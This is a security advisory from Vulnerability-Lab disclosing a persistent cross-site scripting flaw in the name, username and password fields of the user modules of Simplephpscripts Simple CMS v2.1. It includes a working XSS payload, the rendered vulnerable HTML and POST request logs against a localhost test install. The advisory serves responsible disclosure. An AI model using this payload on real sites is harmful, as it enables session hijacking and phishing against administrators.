Document Title: =============== Simplephpscripts Simple CMS v2.1 - Persistent Vulnerability
References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2302 Release Date: ============= 2021-10-19 Vulnerability Laboratory ID (VL-ID): ==================================== 2302 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== The system could be used only in already existing websites to control their page sections and contents. Just paste a single line of code on your web page section and start controlling it through the admin area. Very simple installation - one step installation wizard. Option to include contents into web page sections through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders. (Copy of the Homepage: https://simplephpscripts.com/simple-cms-php ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application. Affected Product(s): ==================== Simplephpscripts Product: Simple CMS v2.1 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-03: Researcher Notification & Coordination (Security Researcher) 2021-09-04: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-10-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Full Authentication (Admin/Root Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser` or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject own malicious script code as credentials. The injected code executes on preview of the users list. The request method to inject is post and the attack vector is persistent. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] newUser [+] editUser Vulnerable File(s): [+] admin.php?act=users Vulnerable Input(s): [+] Name [+] Username [+] Password Vulnerable Parameter(s): [+] name [+] username [+] password Affected Module(s): [+] Users (act=users) (Backend) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. PoC: Payload "><img src='31337'onerror=alert(0)></img> Vulnerable Source: admin.php?act=users <tbody><tr> <td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td> <td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td> <td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td> <td class="headlist" width="23%">Password</td> <td class="headlist" colspan="2"> </td> </tr> <tr> <td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td> <td class="bodylist">[email protected]</td> <td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td> <td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td> <td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td> <td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');" title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td> </tr> --- PoC Session Logs (POST) [Create] --- https://simple-cms.localhost:8000/simplecms/admin.php Host: simple-cms.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 141 Origin: https://simple-cms.localhost:8000 Connection: keep-alive Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23 act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&[email protected] &username=d"><img src='31337'onerror=alert(0)></img> &password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User - POST: HTTP/2.0 200 OK server: Apache content-length: 5258 content-type: text/html; charset=UTF-8 - https://simple-cms.localhost:8000/simplecms/31337 Host: simple-cms.localhost:8000 Accept: image/webp,*/* Connection: keep-alive Referer: https://simple-cms.localhost:8000/simplecms/admin.php Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23 - GET: HTTP/2.0 200 OK server: Apache content-length: 196 content-type: text/html; charset=iso-8859-1 Reference(s): https://simple-cms.localhost:8000/simplecms/admin.php https://simple-cms.localhost:8000/simplecms/admin.php https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser Credits & Authors: ================== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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